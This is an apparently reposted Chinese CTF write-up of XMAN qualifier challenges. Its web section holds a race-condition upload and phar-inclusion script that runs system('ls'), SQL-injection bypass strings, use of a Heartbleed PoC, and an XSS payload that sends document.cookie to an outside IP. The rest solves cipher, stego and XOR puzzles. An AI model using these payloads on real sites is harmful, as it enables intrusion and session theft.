Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

Xman 排位赛Writeup

0
0
Web 0x1 BabyWeb

利用网站存在的文件包含漏洞先把源码下下来审计一波,关键处如下:

if($name!=="") { $name1=substr($name,-4); if(($name1!==".gif") and ($name1!==".jpg")) { echo "hehe"; echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>"; exit; } if($type!=="image/jpeg"&&$type!=="image/gif") { //echo mime_content_type($tmpName); echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>"; exit; } if(is_uploaded_file($tmpName)){ $time=time(); $rootpath='uploads/'.$time.$name1; if(!move_uploaded_file($tmpName,$rootpath)){ echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>"; exit; } else{ sleep(2); if ($type=='image/jpeg') { ... } else { ... } } else if ($type=='image/gif') { ... } else { ... } } unlink($rootpath); } } echo "图片ID:".$time; } }

发现在上传文件和删除文件unlink之间用了sleep(2)函数延时,想到利用这个时间段去条件竞争, 这里写了两个函数postfile()和brutefile()函数:

#!/usr/bin/env python #coding:utf-8 import requests import time import threading s = requests.session() def postfile(): url = 'http://202.112.51.217:8199/upload.php' headers = {'User-Agent': 'Mozilla/5.0 (windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'} m = { 'title':'xx', 'url':'xx', } files = {'pic': ('666.jpg', open('666.jpg', 'rb'), 'image/jpeg', {'Expires': '0'})} html = s.post(url,headers=headers,files=files,data=m) print html.content def brutefile(): filename = int(time.time()) for i in range(filename-3,filename+50): url3 = 'http://202.112.51.217:8199/index.php?page=phar://uploads/%s.jpg/fuck'%str(i) print url3 data = { 'cmd':'system("ls");' } cc = s.post(url3,data=data).content if 'flag' in cc: print cc else: print 'failed' if __name__ == '__main__': for i in range(20): t1 = threading.Thread(target=postfile) t2 = threading.Thread(target=brutefile) t1.start() t2.start() ''' <?php $flag="XMAN{Rush_Rush_oo000}"; ?> ''' 0x2 Login

fuzz 下发现过滤了 / , or , sleep 这些, 在源码里发现

<!--if ($result!=null&&$result->rowCount()==1) { echo $flag; } -->

后台判断了数据的Count只能为1, 可以用limit函数绕过限制,或者直接 admin'# 去绕过

用limit 的poc为 '-''\tlimit\t1#

0x3 protocol

关于协议的漏洞, 结束后提示是heartbeat漏洞,之前对这个漏洞不是很熟悉, openssl的应用层方面的漏洞, 如下是漏洞的解释

CVE-2014-0160,心脏出血漏洞,是一个非常严重的 OpenSSL 漏洞。这个漏洞使得攻击者可以从存在漏洞的服务器上读取64KB大小的内存信息。这些信息中可能包含非常敏感的信息,包括用户请求、密码甚至证书的私钥。

网上下载poc验证下成功读取到帐号密码, 登录即可拿到flag

0x4 Xss1 csp的规则 : Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-inline';
很常见的去绕过不安全的 unsafe-inline 内联脚本的限制,可用的poc为: <script>window.location.href = "http://123.206.65.167:2000?" + document.cookie</script>

flag就在cookie中

0x5 Xss2

前台没有任何csp的限制, 提示flag在flag.php中,算是一个xss+csrf的应用, 用xss的平台直接打源码即可得到flag了

Crypto 0x1 Crypto 23731263111628163518122316391715262121

看着很像键盘方位加密

23 73 12 63 111 62 81 63 51 81 22 31 63 91 71 52 62 121

xman{hintisenough}

Misc 0x1 Misc 100

用binwalk 分析发现存在异常的zlib块, 提取出来zlib后直接就在异常的zlib块中得到flag XMAN{Png_HIde_sEcret}

0x2 Misc 150

下载下来是一张gif, 共有304帧, 通过观察每帧的颜色都是黑和白, 猜测是转成01编码, 写一个脚本转换下

from PIL import Image flag = '' flag1 = '' for i in range(304): pot = "test-{0}.png".format(i) im = Image.open(pot) s = im.getpixel((0,0)) if s == 255: flag += '0' flag1 += '1' else: flag += '1' flag1 += '0' print 'flag:',flag print 'flag1:',flag1 ''' XMAN{31a0726d771dd0cdf29f16641c695b19} ''' re 0x1 Xor

下载下来后用IDA打开, 全局搜索flag字符串定位到 sub_401500 这个函数里面, f5查看下源码发现

sub_4020A0(); puts("Give Me Flag!"); scanf("%s", v53); if ( strlen(v53) == 24 ) { v24 = 0x7A; v25 = 0xE6u; v26 = 0x95u; v27 = 0x2F; v28 = 0xBEu; v29 = 0xDFu; v30 = 0x5E; v31 = 0x74; v32 = 0xF6u; v33 = 0x37; v34 = 0xBEu; v35 = 3; v36 = 0xC; v37 = 0xFDu; v38 = 0x86u; v39 = 0x96u; v40 = 0x84u; v41 = 0x86u; v42 = 0x4C; v43 = 0xA1u; v44 = 0x31; v45 = 0x70; v46 = 0xB2u; v47 = 0x92u; v48 = 0; v49 = 27; v50 = -69; v51 = 4; v52 = 109; v2 = 0; v23 = 0; v0 = 0; do { *(_DWORD *)(((unsigned int)&v3 & 0xFFFFFFFC) + v0) = 0; v0 += 4; } while ( v0 < (((unsigned int)&v2 + -((unsigned int)&v3 & 0xFFFFFFFC) + 29) & 0xFFFFFFFC) ); v2 = 0x61D4AB22; v3 = 0xC5u; v4 = 0x87u; v5 = 0x6E; v6 = '\x06'; v7 = 0xA9u; v8 = 0x5E; v9 = 0xEDu; v10 = 0x5C; v11 = 0x49; v12 = 0x9Cu; v13 = 0xF5u; v14 = 0xEFu; v15 = 0xDBu; v16 = 0xCEu; v17 = 0x2D; v18 = 0xC9u; v19 = 0x50; v20 = 0x18; v21 = 0xD3u; v22 = 0xEFu; for ( i = 0; i <= 23; ++i ) { if ( ((unsigned __int8)*(&v24 + i) ^ (unsigned __int8)v53[i]) != *((_BYTE *)&v2 + i) ) { printf("sorry,plz try again."); getchar(); getchar(); return 0; } } puts("Congratulation! Just Enjoy CTF and RE."); printf("Your flag is %s\n", v53); getchar(); getchar(); } else { printf("sorry,plz try again."); getchar(); getchar(); } return 0; } 异或这里的条件为: if ( ((unsigned __int8)*(&v24 + i) ^ (unsigned __int8)v53[i]) != *((_BYTE *)&v2 + i) ) , 这个条件绕过的方法是, 用v24和v2这两个buff异或一下就可以得到v53的值, 写一个脚本跑一下 #!/usr/bin/env python #coding:utf-8 s = ''' v24 = 0x7A; v25 = 0xE6u; v26 = 0x95u; v27 = 0x2F; v28 = 0xBEu; v29 = 0xDFu; v30 = 0x5E; v31 = 0x74; v32 = 0xF6u; v33 = 0x37; v34 = 0xBEu; v35 = 3; v36 = 0xC; v37 = 0xFDu; v38 = 0x86u; v39 = 0x96u; v40 = 0x84u; v41 = 0x86u; v42 = 0x4C; v43 = 0xA1u; v44 = 0x31; v45 = 0x70; v46 = 0xB2u; v47 = 0x92u; ''' t = ''' v2 = 0x61 a = 0xD4 b = 0xAB c = 0x22; v3 = 0xC5u; v4 = 0x87u; v5 = 0x6E; v6 = 6; v7 = 0xA9u; v8 = 0x5E; v9 = 0xEDu; v10 = 0x5C; v11 = 0x49; v12 = 0x9Cu; v13 = 0xF5u; v14 = 0xEFu; v15 = 0xDBu; v16 = 0xCEu; v17 = 0x2D; v18 = 0xC9u; v19 = 0x50; v20 = 0x18; v21 = 0xD3u; v22 = 0xEFu; ''' s = s.splitlines()[1:] t = t.splitlines()[1:] x = [] y = [] z = [] flag = '' for i in s: x.append(i.split('=')[-1].replace(' ','').replace(';','').replace('u','').replace('0x','')) print x for i in t: y.append(i.split('=')[-1].replace(' ','').replace(';','').replace('u','').replace('0x','')) print y for i in range(len(x)): z.append(int(x[i],16) ^ int(y[i],16)) flag += chr(int(x[i],16) ^ int(y[i],16)) print z print flag

Viewing all articles
Browse latest Browse all 12749